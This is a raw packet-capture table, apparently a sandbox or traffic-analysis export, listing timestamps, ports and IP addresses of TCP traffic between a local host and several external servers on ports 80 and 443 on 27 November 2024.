Nov 27, 2024 11:14:47.259251118 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.260155916 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.260246992 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.260319948 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.260373116 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.260586977 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.260648012 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.261053085 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.261116028 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.261286020 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.261292934 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.261317968 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.261326075 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.263660908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.263782978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.263885021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.264074087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.264139891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.264152050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.264187098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.264199972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.264913082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.265010118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.265031099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.265156031 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.266222954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.266311884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.266664028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.266721964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.266805887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.266819000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.266860008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.266860008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.267199039 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.267474890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.267529964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.267616034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.267663956 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.268152952 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.268188000 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.268383980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.268421888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.268477917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.268701077 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.268707037 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.294852972 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.295089960 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.295099974 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.295556068 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.295604944 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.295866013 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.295974970 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.296029091 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.296129942 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.296134949 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.296144962 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.296158075 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.296201944 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.296539068 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.296597004 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.296699047 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.296709061 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.296823025 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.296828985 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.305558920 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.335360050 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.341397047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.341475010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.341510057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.341620922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.341883898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.341897964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.341974974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.342719078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.342799902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.342966080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.343130112 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.343604088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.343667030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.343746901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.343808889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.343929052 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.344300985 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.344336033 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.344618082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.344691992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.344719887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.344748974 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.344754934 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.344769001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.345316887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.345395088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.345529079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.345597029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.346124887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.346193075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.346859932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.346971035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.347054005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.347065926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.347120047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.347121000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.347889900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.347939968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.347985983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.347985983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.348778009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.348845005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.348860025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.348999023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.349603891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.349684954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.349917889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.350385904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.350493908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.350608110 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.350668907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.350753069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.350946903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.351352930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.351423025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.351584911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.351644993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.352287054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.352381945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.353059053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.353173971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.353187084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.353190899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.353223085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.353276014 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.353969097 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.354064941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.354197025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.354235888 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.354793072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.355003119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.355030060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.355053902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.355690002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.355854034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.356314898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.356405973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.356580019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.356602907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.356664896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.357417107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.357486963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.357867956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.357939005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.358310938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.358565092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.358587027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.358627081 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.359160900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.359262943 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.359441996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.359704971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.360038042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.360104084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.360186100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.360404015 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.360886097 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.361090899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.361512899 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.361603975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.361911058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.362004042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.362271070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.362376928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.362668991 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.362729073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.362806082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.362911940 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.363506079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.363651991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.363677025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.363794088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.417114019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.417129040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.417212963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.417337894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.417407036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.417500973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.417551041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.418277979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.418380976 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.418745041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.418854952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.418917894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.419085026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.419584990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.419835091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.420232058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.420306921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.420392990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.420521021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.420551062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.420685053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.420852900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.421130896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.421134949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.421246052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.421617985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.421674967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.423348904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.423420906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.423906088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.423924923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.423993111 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.424010992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.424763918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.424777031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.424789906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.424806118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.424833059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.424869061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.425559044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.425637960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.426215887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.426295042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.426379919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.426498890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.427197933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.427211046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.427304983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.427347898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.427413940 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.427716970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.428142071 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.428461075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.428531885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.428566933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.428606987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.428719044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.428759098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.429435015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.429488897 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.429666042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.429734945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.430283070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.430360079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.430525064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.430597067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.431164980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.431222916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.431308985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.431359053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.432008028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.432090044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.473198891 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.473725080 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.473747969 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.474222898 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.474232912 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.482389927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.495918036 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.495946884 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.495961905 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.496011019 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.496028900 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.496042967 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.496071100 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.499804020 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.500241995 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.500256062 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.501353025 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.501437902 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.501837969 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.501912117 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.501995087 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.522133112 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.522165060 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.522222042 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.522254944 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.524883986 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.524956942 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.525002956 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.525274992 CET	49903	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.525329113 CET	443	49903	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.525707960 CET	49903	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.526391029 CET	49903	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.526413918 CET	443	49903	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.547333002 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.602233887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.603360891 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.603420973 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.603538990 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.603732109 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:47.603745937 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:47.648199081 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.648219109 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.683850050 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.683887005 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.683953047 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.683970928 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.683994055 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.684012890 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.707017899 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707051992 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707108974 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.707129955 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707601070 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707628965 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707685947 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.707700968 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707808018 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.707890034 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.708591938 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.708636045 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.708724022 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.708901882 CET	49905	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.708945990 CET	443	49905	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.709005117 CET	49905	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.709500074 CET	49905	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.709507942 CET	443	49905	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.712250948 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.712315083 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.712363958 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.714617014 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.714632988 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.716887951 CET	49906	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.716936111 CET	443	49906	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.717044115 CET	49906	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.717956066 CET	49906	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.717968941 CET	443	49906	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.720365047 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.720386982 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.724014044 CET	49907	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.724055052 CET	443	49907	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.724133968 CET	49907	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.724941015 CET	49907	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.724955082 CET	443	49907	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.728008032 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.728032112 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.728102922 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.728121996 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.728153944 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.728172064 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.748331070 CET	443	49890	13.107.246.40	192.168.2.6
